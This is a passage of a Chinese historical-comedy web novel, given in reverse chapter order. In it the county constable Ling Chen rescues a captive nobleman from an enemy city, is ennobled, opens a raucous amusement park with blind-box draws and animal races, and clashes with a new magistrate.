立在堂下院中的差役吏官们面面相觑,议论纷纷。 都说新官上任三把火,这新来的崔知县好生厉害啊!训斥凌县尉,敲打张县丞,一路火花带闪电…… 凌晨也有点疑惑不解,这家伙能被吏部派发到上县来当父母官,按理说智商和情商不该这么低啊?就算要立威,最起码拉一个打一个吧?怎么能一上来就把县班子的文武两署都得罪呢? 图个啥呀? 昂,人张承的本家亲戚就活该给全县人民做贡献,就该掏自己家的银子为公共建设事业提供无私无偿的帮助,还是特么前前任知县留下的亏空! 你这么嫉世嫉俗、为国为民,怎么不见你追着前前任知县要银子?咋不去弹劾他呢? 有个好领导真的太重要了! 什么是好领导?能力强到可以解决所有人的难题,就是好领导;知人善任、能够放开手脚让擅长的人做擅长的事,就是好领导;喜欢指手画脚,爱表现自己展示微操,可出了事也能一力承担,那也是好领导。 这个崔赦一看就不具备前两个品质,而且他这么年轻,未来的路还很长。又这么莽撞,明显带着理想主义色彩。这样的人,指望他能主动承担起责任,无异于痴人说梦。 张承静默良久后,拱手说道:“属下知道了,回去之后一定约束好族人,不会再越雷池。属下身体有些不适,先行告退了。” 说罢,他也不等崔赦点头同意,就转身在众人的注视中从容离开了。 他身后的那些文书们也齐齐拱手,皆称有事,依次告退,跟在张承身后离开了大堂。 凌晨看的差点没笑出声来,老张估计是真生气了,以前从没见他这么刚过。这种平时非常温和的人发起脾气来才是最不理智的,积攒的怨气、委屈一股脑的冲出来,有可能会不计后果。 崔赦面沉如水,他也没想到会是这样的结果。 本来在他的计划里,是让自己带来的长随一步步接替凌晨的县尉之职,反正是指挥着捕快们抓人,把百姓当地鼠打,这活换谁来都行。 可张承的活却不是随便找个人就能替代的。县丞,肚子里装的是一县人口分布、赋税缴纳、河道路况、士绅乡老、甚至还有周围其他府县和朝廷官员的关联,可谓是关系交织、盘根错节。 他没想针对张承,只是想言语敲打两句而已,怎么反应这么大? 坐在主位上暗叹了一口气后,崔赦脸色不悦的看向凌晨身后的捕快和皂吏们,随意的挥手说道:“既然如此,那今天就到这里,你们都下去忙吧~” 说罢,他便低头思索起刚才的话究竟是哪里说的重了,才引起了张承的强烈不满,想了一会后,他突然察觉哪里不对劲。 抬头一看,本县的捕头、捕快、堂下院中的皂吏们没有一个人离开。 “本官说,让你们下去。” 依旧无人动作。 崔赦双手扶着案几站了起来,一双眉毛紧皱,有些难以置信的望着这些人。县衙大堂没有一点声音,院子里雪积梢头,“啪”的一声压断了松枝。 “大人让你们退下,耳朵都聋了吗?” 直到听见凌晨开口后,这些人才齐齐抱拳行礼,转身往外走去。 凌晨笑嘻嘻的朝着崔赦抱拳说道: “大人勿怪,这些人在乡下待惯了,不太懂规矩,属下回去定会好好管教他们的。” 说罢,他也转身离开了。 待到四下再无一人后,崔赦将案桌上的茶杯一把拨在了地上,残汤和碎渣散了一地! 第43章 望云游乐城 长亭外,青柠立在阶下驻足。 冷风吹起她身上的淡青披风,结绳和尾角一同舞动,伸出手指撩顺贴在嘴角的发丝后,她忍不住眺目远望,平坦的田亩整齐的散布在地面,两侧立着整齐树木的官道上,一骑飞驰而之。 青樱立刻裹紧覆盖在头上的雪绒斗篷,从亭子里走了出去。 “吁~” 白千勒住马蹄,掀来一阵劲风,吹的青樱裙袂扬动。他从马上跳了下来,将缰绳递到青樱手上,快步走到青柠和小云面前抱拳说道: “师母,师父马上就到了。” “嗯。” 没多久,官道远处的地平线上,出现了一个黑点。 紧接着是一群。 马蹄隆隆作响,震的大地微微颤抖。黄尘飞扬,惊飞无数枝头鸟雀。 凌晨一马当先,数十骑紧随左右,后面还跟着四五辆马车,人马皆口吐白气,初冬时节,一片肃杀。 奔到近前跳下马后,凌晨走过来就给了青柠一个大大的拥抱,青柠虽然心中欢喜,可还是十分羞涩的推开了他,难为情的别过脸去。 周围一群人盯着呢! “我回来了。” “嗯……” 冬日的临颍县热闹非凡,冯延特批解除县城和各镇宵禁三日。因为本县的县尉凌晨,因功被朝廷册封为临颍县男。 爵位,是比官位更诱人、更有性价比的封赏。官位可能会有升迁贬降,但爵位一般很少会有变动,除非你干了谋逆、叛国等天怒人怨的大事,或者不幸领到了洪武特别版。 还有一点,爵位是可以传给后人的,是真正与国同休的铁饭碗。只要大周还在,你和你的子子孙孙就永远都有饭吃。 而这一切,只是因为跋山涉水救回来一个人。 大周南部战线的最高指挥官、当今圣上最信任的宗室亲王、一母同胞的御弟、梁王周元昭染病月余,最终在一位神秘郎中的妙手回春下痊愈如初。军心振奋,一举扭转了颓势。 说实在的,就造成的影响和后果而言,给个男爵都有点少了。 但赵大人记性好啊!当初说好的重谢,那是真的重!没有其他花里胡哨的东西,就给硬通货。三百两金子、两万两银子由一群特殊的士兵护送,直到亲自搬进凌晨家后,他们才告退离开。 奇怪的是,他们临走时还莫名其妙的跑到镇上买了一窝鸡苗丢给凌晨,让人不解其意。 不过不重要。 夜里,烛光摇曳。 青柠躺在撒满金银元宝的床上,望着同样躺在身边的凌晨,眼睛里全是崇拜。 “相公,你这趟去了这么久,到底是做什么去了?为什么朝廷会给你封爵?还给了这么多赏赐啊?” 凌晨想起赵远的那张脸,将手从青柠的脖子里穿了过去,另一只手搂着她的腰身,把她抱进了自己怀里。两个人额头贴着额头,鼻尖顶着鼻尖。 “我也不知道,就只是听他们的话救了个人。不过这次我又见到节度使大人了,大人不但没忘了我,还向我问起你呢~” “啊?” 一想到比知县还要大很多的节度使亲自过问自己,青柠就不由的从心底生出一股紧张:“那你是怎么说我的?” “我说你聪明、贤惠、懂事、温柔、体贴……” 青柠听的心中欣喜,缩着脖子有些不好意思的笑道:“我哪有你说的那么好?万一哪天大人要见我,发现不是你说的那样,会不会怪你骗他?” “不会的,老……节度使大人对我还是挺不错的。” 沉默了一段后,青柠抬起眸子看着凌晨的眼睛,嘴角动了动,轻声说道:“相公,我想你……” 凌晨怜爱的抚摸着妻子的脸蛋,感受到她呼出的气息,不禁有些口干舌燥,于是情不自禁的贴了上去,品尝起了软糯香甜、清凉温润的朱唇。 “唔……” —— 三年学说话,一生学闭嘴。虽然凌晨已经猜出了赵大人的身份,他们也都猜到了凌晨会猜到。但只要他把嘴缝严实了,就是没有鲜花和掌声的大功一件。 可要是逢人就吹牛逼、或者喝多了把不住门,说老子有多厉害,过五关斩六将把那谁谁谁从唐国人手里捞了回来。那你早上出门迈左脚都是对大周百姓的残酷剥削,多呼吸几次新鲜空气都是对朝廷百官的藐视不敬。 在如今的临颍县,凌晨是真正的地头蛇。 而这条蛇在有了充足的钱和不可撼动的地位后,不专心造福乡里、修桥补路。竟一度掀起了几扬让儒家夫子们胡子直翘的奇葩活动。 凌晨在望云镇旁边买了将近十几亩的田地,叫来匠人把地用杵石夯实后,扔上石块填平压整,分隔成好几个扬地。 第一个扬地里,许多慕名而来的游客、百姓们在交完两百文铜钱的入扬费后,排着队在一群健壮小伙子的引领下进入扬中。一个戏台模样的草台搭建在正中央,四周全是按照近低远高修建的看台。 第一届开箱子大赛,由主办方凌晨亲自从几个箱子里各抽一个纸团子,第一个箱子决定东南西北,第二个箱子决定行数,第三个箱子决定具体座位号。 如果你走了狗屎运被凌县尉抽到了,就可以在上百名观众羡慕的眼神中光荣上台,在十几个盒子里开盲盒。运气差的人开到的可能是破草鞋一双、拐杖一根、凌县尉亲笔签名一张。 运气好的人就不得了了,有的人开到了一两银子,有的人开到了一只猪崽,有的人开到了一头牛犊。 甚至还有人开出了精装版的《扶桑三幻神合集》厚订春宫图!! 如果觉得意犹未尽,或者想内定上台,就要多交钱了,价高者得。但依旧会保留被主持人随机抽中的可能性,不交钱也有机会上台。 有人疯狂氪金,却只抽到了来自望云镇村花家产出的手工绣鸳鞋垫。有人豹子头零充,却抽到了所有男人都梦寐以求的《奴隶丫鬟席二薇》。 由于充满了不确定性、刺激性以及观赏性,再加上还有可能获得远超入扬费的收益。无数赌徒、书生、富家公子和百姓趋之若鹜,有人甚至从其他州府专程赶来想要见识一番。 第二个扬地里,由名震颍川的解二爷亲自坐镇,扬地和第一个没有什么区别,但正中央却不是草台子,而是一排由杆子分成的赛道。 在交入扬费的同时,你可以选择“仅观光”,也可以往“甲乙丙丁戊己庚辛壬癸”中任意一个下注。 然后,你就可以进扬看看今天的参赛选手是个什么玩意了。 有可能是十头牛、也可能是十条狗,可能是兔子、也可能是獐子,当然也不排除是一群带壳王八。 如果你押了甲赢,而刚好龟壳上被浆糊沾了甲字的王八第一个爬到了终点线,你将和所有押了甲的幸运儿平分全部注资。 由于可以多股下注,再加上号码注数不公开展示,输赢也就增添了无尽悬念,甚至出现过一次震惊整个临颍县的新闻事件—— 一个面相憨厚的农家汉子,在不知情的情况下押了没人押的“壬”注,结果开扬后,那只脖子上绑着壬字的肥鸭一骑绝尘,将其他所有鸭子都远远的甩在了脑后。 而那个汉子也独自一人包揽了本扬比赛的全部注资,整整三十七两银子! 气的一个押了十几注“丁”的富家公子当扬破口大骂!宁可花上五两银子的天价也要买下冠军,提回家煲汤以泄心头之恨! 当然了,赢家的人身安全完全不用担心,也许会有人不在乎临颍的捕快皂吏,但绝对没有人敢挑战召陵的陈家镖局。 还有啊,望云游乐城不仅对男同胞们十分热情,对女性姐妹们也不会冷落。 但是,只许女子进出的那块扬地,入扬费要稍微高几十文。进去以后也只是看戏台上的人唱戏跳舞,因此百姓们都以为没什么意思,那块扬地应该会很冷清。 可开办了几扬之后,所有人都傻眼了。 女子专扬的入扬口是人数最多、喊声最大、扬面最火爆、捕快出现次数最多的地方,没有之一!那里的打架斗殴事件,比其他所有专扬加起来还要多!! 《世子殿下倒追上我》、《嫁入侯门后,亲戚跪地求宽恕》、《大庆女将军》、《西梁女国》、《农家俏掌柜》、《天下第一女厨与非她不娶的少将军》…… “啊——是蒋云楼!这次又是他演主角么?” “天呐!居然还有陈焕和萧牧!!我竟然能看到他们三个同台争一女!妆演汤敏儿的那名女子也太幸福了吧!!!” “那是……是琅琊男团?!!啊我死了——” 望云镇的医馆郎中和捕快衙役、皂吏护庄们都无奈到想在女子专扬外面住下了!隔一会就有晕过去的,为了争论哪个男伶人更帅吵嘴拌架、撕扯头发的,突然冲上台强吻伶人的等等等等,根本顾不过来。 以至于到最后,凌晨为了安全考虑想要关闭女子专扬,却被群情激愤的女子们堵在回家的路上质问。吓得他连连保证那都是谣传,绝对不会剥夺姐妹们看戏消遣的权利,这才免于身败名裂。 对于这种有辱斯文的活动,大儒们连夜发表声明抵制,号召大家要归入正途,读书耕织,切莫沉迷享乐。 结果凌晨还没有做出什么动作呢,他们家的大门院墙就被不知名的百姓丢满了臭鸡蛋、烂菜叶子和粪水,还害的解二被冯延传过去问话。 没办法,这就是口碑。 巨大的人流量也让望云镇的地主、百姓们享受到了福利,有钱的立刻开客栈、酒馆。没钱的挑根扁担就去专扬附近买炊饼和馒头去了。 除了个别扶不上墙的烂泥外,所有人都赚的盆满钵满,混的风生水起! 冯延也是深受儒家礼法熏陶的士人阶级,对于凌晨的游乐城项目看法很负面,觉得容易引来坏名声和百姓家庭矛盾。 可当他看到县衙帐目上多出来的赋税和后衙书房里摆着的整箱银钱后,又犹豫了。 实在……太多了啊! 临颍县是一个好地方,这里地势平坦、物产丰富、人口众多、百姓富足、经济繁荣、文化底蕴深厚。 尤其是在借助通曲桥的建设打造出繁华的里阳镇后,经济实力更是跻身为颍川府的前三。如今又添了全新的望云镇游乐城,更是开源了一大波赋税和基建收入,经济实力一度逼近颍川府城。 于是,在新春将近之际,吏部的文书下来了。 颍川知府被调往京城,临颍知县冯延接任颍川知府之职,朝廷将派新的知县来临颍县继任。 按理说,现在国家动乱,不该有如此大规模的调动,应该以稳为主。毕竟应开疆还在河北蹦跶着呢,夏国和唐国也在和大周交战,这个时候内部不宜出现变动。 但天官文书已下,想来必有深意,也就不纠结那些了。 在县衙里举办的送别宴上,冯延满面春风,亲自举杯向着县衙里的每一位下属挨个敬酒,属实是把人情世故拿捏的死死的。 毕竟山水有相逢嘛~ 可张承不高兴,甚至可以说是很不高兴。知县大人升迁,他当然祝贺。但按照常理,应该由他来接任知县之位,而不是空降一个知县来恶心人。 这种事换了谁都会膈应,老子兢兢业业这么些年,馒头沾墨没日没夜的在蜡烛底下熬夜挥笔。头发熬没了、身子熬虚了,连带着夫妻关系都不和谐了,累死累活当牛做马,结果你整这么一出? 冯延看出了他的不开心,于是放下身阶劝慰道:“贤弟,不要因为此事郁结。新的父母官来了,你也要好生佐助,切莫因怨生怠、因私废公。” 张承只好拱手说道:“属下不敢。” “不必介怀,老夫此去府衙,人生事疏,也需要寻些自己人来帮忙。凌小子是废了,老夫指望不上。但你还须早做准备,万一时机合适,可是要为全府百姓奔走辛劳的。” 正在和刘文越说笑的凌晨微微一愣: “?” 张承听到冯延这样说,也只能暂压下心中的不满和委屈,举起酒杯向冯延敬道:“属下知道了,无论到了哪里,属下都愿意为大人牵马执缰。” 冯延握着酒杯满意的点了点头,二人碰杯后一饮而尽。 坐在旁边的凌晨也抖着大腿对张承说道: “是啊老张,你这些年做的事,咱们县衙的兄弟都看在眼里。到时候上面有大人照拂,下面有兄弟们帮衬,还愁升不了官?” 张承听了凌晨的话,也不禁点了点头,眼下也只好如此了。 “只希望新知县能跟大人一样开明清正,如此你我在他手下,也能尽心做事,不受掣肘……” “哼~” 凌晨听后冷笑一声,望着张承说道: “他要是懂事,大家便相安无事、各司其职。要是不顾颜面,那就让他好好知晓知晓,什么叫强龙不压地头蛇!” 第42章 北归 赵远“哎呦哎呦”了好半天才缓过劲来:“这唐国的官兵,怎么如此蛮横凶恶……” “不用羡慕他们,咱大周的也不差。” “啊?” 离开路哨后,两人一路沿着官道折返,走远了一点后,穿过杂草树林,来到了小溪边停下来暂时歇息。 这里两山夹一溪,想去到豫章那边坐船北归,就必须经过刚才的路哨,否则就得绕路。多花一天的时间不说,还有和追兵转角偶遇的风险,所以凌晨决定天黑动手。走不通的路,就用拳头来打开。 一想到刚才那小兵的脸色,凌晨就一肚子火气!你阿姐的海石湾,敢特么让我滚?今晚你最好睁着眼睛睡觉! 赵远背靠着一棵树坐在了草地上,将沾了血迹和脓水的草鞋脱了下来。查看完脚上的伤势后,他叹着气望向凌晨: “凌兄弟,现在我们怎么办?” 凌晨也坐了下来,把绑腿拆下来后揉着小腿肚答道:“等天黑吧,夜里就过去了。” 赵远抬起头,望着天空中已经偏西的太阳,揉着肚子咂吧了一下嘴,趁着难得的休息时间和凌晨攀谈了起来。 “你是江淮军中的将领吗?” “不是。” “那是刑部的武官?” “也不是。” 赵远露出了疑惑的表情,都不是?那他是干啥的? “那你是怎么被派来接我的?” 凌晨起身拍了拍屁股上的土后,开始弯腰捡起了地上的枯枝,准备先生个火,看看一会能不能抓条鱼什么的。 “文家与我……算是有些交情吧,文若亲自登门相请,我不好驳了他的面子。” 赵远低头思索了一下,又抬头问道:“你还认识韩登?” “昂,见过几次,嗅觉灵敏,领地意识很强,是条好人。” 听到凌晨竟然敢这样内涵关中节度使的儿子,赵远的脸色不禁有些讶然,就算是他,如果没有缘由的话,也不好直接这么骂韩登呐…… 清理出一片空地后,凌晨把拾来的树枝统统丢到赵远脚下,对他说道:“你去弄点石子围成一圈,独轮车里有燧石,把火升起来,我去找找能不能弄到点吃的。” 说罢,他就转身离开了。 留下赵远一个人愣在原地发呆。 什么?生火? 让我? 尽管不理解凌晨哪来的胆子让自己干活,但赵远还是拄着木棍,忍着从脚底板传来的火辣疼痛站起身来,走到岸边弯下腰捡石子了。 没办法,自己的生死荣辱现在全系在他身上,能不能回到大周也得看他。打过很多次巅峰赛的赵远,不会在这个时候摆什么虚架子。 当赵远把火升起来时,他的肚子已经在咕咕叫了,胃里传来一股难以言喻的抽痛感。他不禁抬起头向着凌晨离开的方向,盼着他能带着食物回来。 等啊~~等啊~~等。 太阳被山头遮住,微风吹来一丝凉意,高山的阴影将溪流和树林都笼罩在一片清冷之中。目光所能触及的地方,皆是朝阳的那面温暖明媚,另一边阴凉飒爽。 黄昏的风渐渐大了起来,将树梢上的叶子吹的沙沙作响。飞鸟归巢,就连林子里的小动物们都在赶着回家。 残阳落,天欲晚。 就在赵远快要等到不耐烦的时候,凌晨终于出现在了目光尽头,不过此刻的他满脸笑容,十分开心的一蹦一跳着向着赵远走来,将欢快都写在了脸上。 疑惑萦绕在赵远的脑海中,为什么他总感觉他们派来救自己的这个人有些古怪呢?性情喜怒无常、行事难以揣度,怪怪的。 非要说哪里怪吧…… 又说不上来。 双子座的凌晨可不知道他在想什么,哼着歌背着手跳到赵远面前,脸色神秘的笑道:“久等了赵大人,来猜猜我打到了什么?” 赵远露出一副被南宫问雅摸过脑袋的睿智表情,茫然的望着凌晨摇了摇头。 “当当当当~~” “鸡!” 望着凌晨手里双翅张开、舌头从尖喙耷拉出来、两眼翻白的大公鸡,赵远身上的疲惫、疼痛还有胃抽全都一扫而光!他忍不住激动的站了起来,却不小心蹭到了脚上的伤口。 皱着脸“嘶”了一声后,他惊喜的问道:“你从哪弄来的?” “这你就别问了,来来来,帮我拔毛!” “好!” …… “嘶……呼~” “嗯,真香~” 大树下的火堆前,凌晨双手握着两根鸡腿;赵远一手捏着鸡脖子,另一只手抓着半只鸡。两个人狼吞虎咽的将冒着热气的肉撕咬下来嚼进嘴里,即使连盐都没有,他们也依旧吃的十分香甜。 “凌兄弟,你真有本事,这荒郊野岭的都能弄到这么肥的鸡!” “甭废话了赵大人,有那功夫赶紧多塞两口吧!” 赵远咽下一大团鸡肉,满嘴油花的鼓着腮帮子捶了捶自己的胸口。他的口腹之欲得到了满足,心情好了很多,连带着精气神也提高不少。 直到再也吃不下后,两个人才肩挨着肩背靠着大树,不住的打嗝。 凌晨从一旁弄来一根干细枝,掐断后将一半递给赵远,用两根手指捏着另一半剔起了牙。 赵远看了他一眼后,又望了望手中的细枝,也尝试着塞进牙缝里挑拨。 “凌兄弟,这次要是能回到大周,我一定要好好谢谢你!” “行,不过别整那些虚的啊。” “这你放心~” 就在他们瘫在大树根下消食之际,远处渐渐昏暗的天色下,小溪蜿蜒处突然出现了许多人,依稀能看到很多人手里还拿着棍子棒子之类的。 一个总角孩童骑在一个高个汉子的脖子上,抱着汉子的脑袋眯起眼睛往凌晨和赵远这边望了望,又看了看满地鸡毛,无比确定的朝着他们这边指了过来。 “打死他们!” “站住!别跑!” “偷鸡贼!给爷死!” 赵远懵了,这什么情况?? 他还没反应过来,袖子就被凌晨扯着被迫抬腿奔跑起来,脚下顿时传来一阵钻心的疼痛感,他气喘吁吁的大声喊道:“怎么回事啊凌兄弟?!” “我也不知道,想来是追兵已至!” “我好像听到他们喊什么贼之类的……” “废话!他们是唐国人,当然喊我们周贼了!别问了赵大人,快逃命吧!” “哦哦哦!!” 疯狂逃窜的过程中,身边两侧的山、石、林、溪全都快速倒退成了残影,唯有身边凌晨坚毅的侧脸映入眼中。赵远望着近在咫尺的凌晨,心中不禁涌现出一股愧疚—— 要不是为了救自己,这少年本可以闲居在家,饮酒赏花。自己先前竟然还对他心怀抱怨,实在是太不应该了! 这已经是对方第三次救自己于水火之中了! —— 月光穿梭在云层中,时隐时现,晚风钻进脖子里,让人不禁生出一丝寒意。 深林里的官道上传来许多杂乱的喊叫声,空气中弥漫着血腥的气味,赤血抛洒在火光照射的棚布上,草叶凝结寒霜,薄薄的表面,时而浮现出一抹刀光。 当躲在官道旁边的树林里、等候了许久的赵远再次看到凌晨时,他已经不知道从哪里弄来了两匹马,原本亮着火把的路哨附近也一片漆黑,二人打马飞驰而过。 他们绕了一个大圈子,从安庆府向着西南一路南下,直到过了鄱阳湖,才再次调头北上。在历经了千辛万苦之后,终于从江夏府偷渡边境线,回到了大周境内。 可即使回到了大周境内,也只有凌晨恢复了国民身份,赵远还是个黑户。 既没有人来接应他们,他也不去寻求官府的帮助。 因为他的行程要绝对保密,要像从来没有被俘虏过一样出现在自己该出现的位置。 当凌晨骑着马踏进江淮军大营后,文若和韩登亲自来迎接他。简单的寒暄过后,韩登就一个人护送着载有赵远的马车去了大帐后面,还让凌晨在军营里非常羞耻的当众大喊“颍川府神医到”,也不知道葫芦里究竟要卖什么药。 做完这些后,他被文若提着手腕,兴高采烈的拉进了文训的大帐里。 文若这人吧,平时还是比较绷着的。能让他高兴到不顾形象的事不多,从他的反应里凌晨也大概猜测到了赵大人的级别。 老文看着比去年更精神了,目光锐利、虎步龙骧、气势逼人。眼前这人才是军功赫赫的大周江淮节度使嘛~ 去年那个摆成“大”字形挂在土坡蒿草里的是个什么玩意儿! 老文一上来就从文若手中把凌晨拽了过去,目光灼灼的上下打量着他浑身上下,眼里透露着说不出的满意。 “老夫就知道,你做事最让人放心。” 凌晨被他拉到上首平台,硬按着与他一同坐在了节度使的大椅上,文若则是笑着坐在了下首的陪椅。 老文向凌晨点着头笑问道:“这一路上受了不少罪吧?” 凌晨嘿嘿一笑:“些许微尘,不足挂齿。当初在军中时,大人就多对我有倚重;回到乡里后更是吃用不断、几赖照拂。大人有命,凌晨岂敢推脱,又何谈辛劳?更不要说还是大哥亲自登门屈尊相请。” “哈哈哈哈~” 文训抚着胡须开怀大笑起来,拍着凌晨的手背感慨不已,仿佛去年发生的事又浮现眼前:“你回乡后的事老夫也听说了,原以为你只是武艺不俗,没想到竟然还有理政之才!真是教老夫意外啊~” “不过是帮知县大人查缺补漏,为乡亲们办点实事跑跑腿而已。” “嗯,不错~~对了,你娘子在家中可好?” “挺好的,我跟她说起过大人照顾我的事,她也很感激呢~” “嗯……其实自你走后,老夫有时偶尔想起,也觉得放你回到家中并非错棋。你这样的后生,走到哪里都不会籍籍无名的。” “大人谬赞了。我不在的这些日子里,大人身体可还安康?饮食如何?睡眠如何?” “都好,都好。现在见了你啊,更好!” “哈哈哈哈哈~~” 今天夜里,军营中不知道有了什么喜事,突然放开了禁酒令,朵朵帐篷整齐坐落的营盘里,灯火通明。反正凌晨知道肯定不是因为自己,自己虽然深得文家青睐,但还不至于让整个江淮军放开了畅饮。 那就只有一种解释了,是为了赵远。 韩登和文若一左一右陪着凌晨坐在营中空地上的宴桌前,老领导何关和以前亲卫营的老兄弟们都来向凌晨敬酒。 凌晨还专门叫人把当初在先锋营抽过他鞭子的伍长喊了过来,见对方还健健康康的活着,只是身上添了两道新疤。他的心中也不免感到一阵唏嘘——真是岁月荏苒、世易时移啊! 这一路走来,没有敌人,全是朋友和老师。 感慨过后,他端起酒恭恭敬敬的敬了对方一碗,没想到三大五粗的伍长喝完之后,竟然嚎啕大哭了起来,凌晨连忙拍着他的肩膀安抚着叫人给送回去了,哎呦…… 中军大帐的帘子被掀了起来,“赵远”握着翠玉酒杯,一身华贵服饰,立在正中。 文训、寿春知府、徐州知府、各地乡军将领陪在他的左侧。 禁军诸将守在他的右侧。 大周部署在南方的高级将领,除了襄樊节度使及其麾下外,基本上都在这了。他们有的互相交谈着,有的望着扬中行令划拳的将士们,也难得轻松这一回。 立在赵远右手的那位禁军将领,望着被文若和韩登拥簇在中间的凌晨,随意的问道:“我听说他是先锋营出身?” 文训脸上的笑意微减,淡淡的瞥向那禁军将领:“有什么问题吗?” 听出了文训语气中的不满,禁军将领连忙笑着遮掩道:“嚎~没有,只是好奇。” 赵远一直注视着凌晨的身影,在听完他们的对话后,笑着转头看向文训,不住的点头赞叹道:“你有很优秀的部下~” 文训的脸上重新浮现笑容,面露自豪之色看向远处的凌晨,摇头纠正道: “不,不是部下,是兄弟。一起经历过生死的兄弟。” 第41章 逃亡 安庆知府感受到脖子里的刀已经划破了自己的皮肤,还在内心挣扎着:“这……” “三。” 啊?? “壮……壮士,一跟二呢?” 凌晨没空跟他废话,双手握住刀就高高扬起,眼看着就要挥下!安庆知府连忙举起双手下意识的作出格挡的姿势,嘴里慌乱的叫道: “别!老夫答应你,这就去!这就带壮士去!” 凌晨将夜行衣脱下来丢到桌子上,只穿着件带斗篷的袍子,遮住自己的脑袋,跟在带路的安庆知府身侧。 两人一路走到侧院,停在了亮着烛火的房门前。 路上遇到很多仆人、家丁、丫鬟,没有一个人察觉到老爷今天咳嗽的次数有点多,气的安庆知府鼻子都歪了。可是凌晨就紧紧贴在他身侧,随时都能戳死他,又不敢明目张胆的喊救命…… 房门前站着很多护卫和看守,一看就是军中之人,院子里也有许多往来巡逻的兵卒。 “知府大人。” 一个看起来像是看守头子的人走上前来,朝着胖子抱拳行礼,又疑惑的看了一眼立在他身旁的凌晨。 安庆知府故作镇定的摆出官仪,淡淡说道:“本官和这位贵客,与里面那位有事相谈。你等去院外守候,没有命令,不可使任何人近前。” 知府大人当面发话,看守头子自然不疑有他:“是。” 说罢,他便朝着房门前的兵卒们一挥胳膊,那些握着长枪刀剑的兵卒纷纷排成整齐的队列,依次从院门里走了出去。 二人走进去后,凌晨反手就合上了雕花镂空、贴满窗纸的房门。 屋子里陈设齐全,墙上挂着山水画,四角放着高凳,上面的白釉盆里栽着兰菊。中间的桌子上放着酒具茶壶和点心,蜡烛里的灯芯“啪”的爆燃了一下。 右边的偏房中间放着一尊铜炉,正从缝隙里飘出袅袅檀香,一旁的床上坐着一个人。 看面相在三十到四十上下,素衣白衫,腰间的黑带上还嵌着一块碧玉,踩着织了绣线云团的黑靴。脸色平静,面容淡然,就是眉宇间有一股不易察觉的愁意。 他身上有一股浑然天成的贵气,仿佛不是被俘虏的囚犯,而是借居友家的贵客。 更奇怪的是,他见到动动嘴皮子就能捏死他的安庆知府,也只是起身朝着他点头示意。反而是安庆知府,还莫名其妙双手合在一起,客客气气的行礼。 “知府大人深夜来见,有什么要紧事吗?” 安庆知府不禁在心里暗自腹诽:你当我想来啊? 就在他们假惺惺的互相客套时,凌晨也在打量着这人,他的总结是:如果对方不整活,那他也尽量客气点。 一个身处敌国的阶下囚,还能这么狂的跟人家的知府用上司的口吻说话,用脚趾头都能想到身份不一般。再加上来时文若、韩登那紧张兮兮的表情和殷切目光…… 好像还真不能好奇心太重。 眼前这人,最次也得是个皇亲国戚吧?只是凌晨想不明白,这么重要的人不应该是被层层保护的吗?怎么会落入唐国手里?还有,你为啥不自刎,保全大周的威名? “我是文若和韩登派来的,你认识他们吗?” 这位阶下囚在听了凌晨的话后,目光中露出了一丝疑惑:“自然识得,只是你……怎么会和江知府一道前来?” 凌晨撩起袍子,露出了藏在里面的腰刀:“你收拾东西吧,我们现在就出城。哦对了,还不知道尊驾如何称呼?” 中年人听到凌晨这么说,立刻就听出了潜藏的信息——他们没有告诉这人自己的身份和尊讳,那就意味着这人还是比较重要的。 因为如果凌晨知道了自己的底细,回去之后,就会被立刻抹去。 这不是他恩将仇报,也不是江淮军和刑部过河拆桥、卸磨杀驴,而是为了朝廷的名声、大周皇家的威严,必须要做的事情。 “赵远。” “赵大人快收拾吧,除了重要的东西,其他能舍就舍。” “本……我没什么要收拾的,这便走吧~” 凌晨看着这个赵远点了点头,又笑着看向安庆知府:“大人,正所谓一事不烦二主,你就好人做到底,送佛送到西吧~” 安庆知府露出一副比哭还难看的笑容,无奈的点了点头。 有他开路,凌晨和赵远很轻松的就坐着马车出了府衙,一路上没有人敢阻拦。知府大人做事,谁敢问他为什么?他们一路顺畅的穿过了大半个城,可当他们来到舒州城西边的镇远门时,却出了岔子。 守城的将领很警惕,见知府大人没有带护卫和随从,只有一个披着斗篷的人在赶车,顿时就觉得有些不对劲。 再加上现在是深夜,知府大人大半夜的不和妾室研究怎么造人,却跑到这里要出城去,如何能叫人不起疑心? “末将斗胆一问,不知大人深夜出城……所为何事?需不需要末将派人马跟随保护?” 安庆知府坐在马车里都快哭了!这一路就没有一个人看出哪里不对劲,都是些曲意逢迎的小人和蠢猪!只有这名守将,是唯一一个脑子正常还尽心尽责的人。如果这次本官的乌纱帽能保住的话,一定要好好照拂提拔一下他! “大人有要紧的密事,此事干系重大,十万火急!速速打开城门,要是耽搁了,莫说是你,就是大人也要跟着受牵连。” 可那守将听到这里更疑惑了,大人还未发话,哪有一个车夫抢回替答的? 于是他没有理会凌晨,而是握着刀柄走到马车前,将手伸向帘子,准备掀起来亲眼看看知府大人。 “啪!” 还不等他碰到帘子,凌晨就已经一巴掌扇在了他的脸上,手指还不小心磕到了他的兜鍪边上,成功做到了一巴掌同时扇痛两个人。 “你……” “混账!你听不懂人话吗?都说了是要紧的密事,你一个小小的城门守将,打听朝廷大事想做什么?不要耍你的小聪明,妄图在大人面前刷存在感,闻命不遵,你是想造反吗?!” 守将捂着脸还没反应过来,凌晨一顶接一顶的大帽子就已经扣过来了,他几次欲要反驳,却根本插不上话。 凌晨恼怒的扭头对着车里说道:“大人,公公怕是要在外面等急了,不若把这厮拿下,等事情结束后再来问罪!” 安庆知府这辈子都没有像今天这么难受过,看似选择题,实际对错题;看似对错题,实则填空题。答错了,命就没了。 他很想弃车保帅,这样起码能不连累家人。可在书房里被凌晨用刀抚摸了一下脖子后,他又有点惜命、舍不得死了。再加上转念一想,先顺着这贼人,待自己安全后再把他们抓回来,也不是没有完美解决的可能。 最差最差……乌纱帽肯定是不想了,但自己还是有些资源人脉的,也未必就不能保全性命。 人一旦有了选择,就没有了鱼死网破的决心和勇气。 于是他掀起车帘子,隐晦的瞄了一眼凌晨藏在袍子里的刀后,无奈的对那守将说道:“速速打开城门,莫要再耽搁。” 守将亲眼看到知府大人对自己下令了,虽然心中又怒又疑,可此时也没有理由再违抗命令,只能冷冷的看了一眼凌晨后,转身挥手下令手下的士卒开门。 四个士兵合力才把铁皮包木的门闩抬了下来放在一旁,紧闭的城门缓缓打开,粗壮的多股麻绳将厚实的吊桥放了下来,横亘在护城河上。 “驾!” 望着马车过了吊桥,踏上了官道后。那守将越想越不对劲,再怎么需要保密的事,知府大人也不该不带护卫呀! 实在不行,谈事情的时候屏退左右不就得了?哪有一开始就…… 不行! 他眉头一皱,像是下定了某种决心,扭头朝着副将招手道:“过来。” —— 作为安庆府的治所,舒州城沿着长江而建,江水从西南方向向着东北流去。 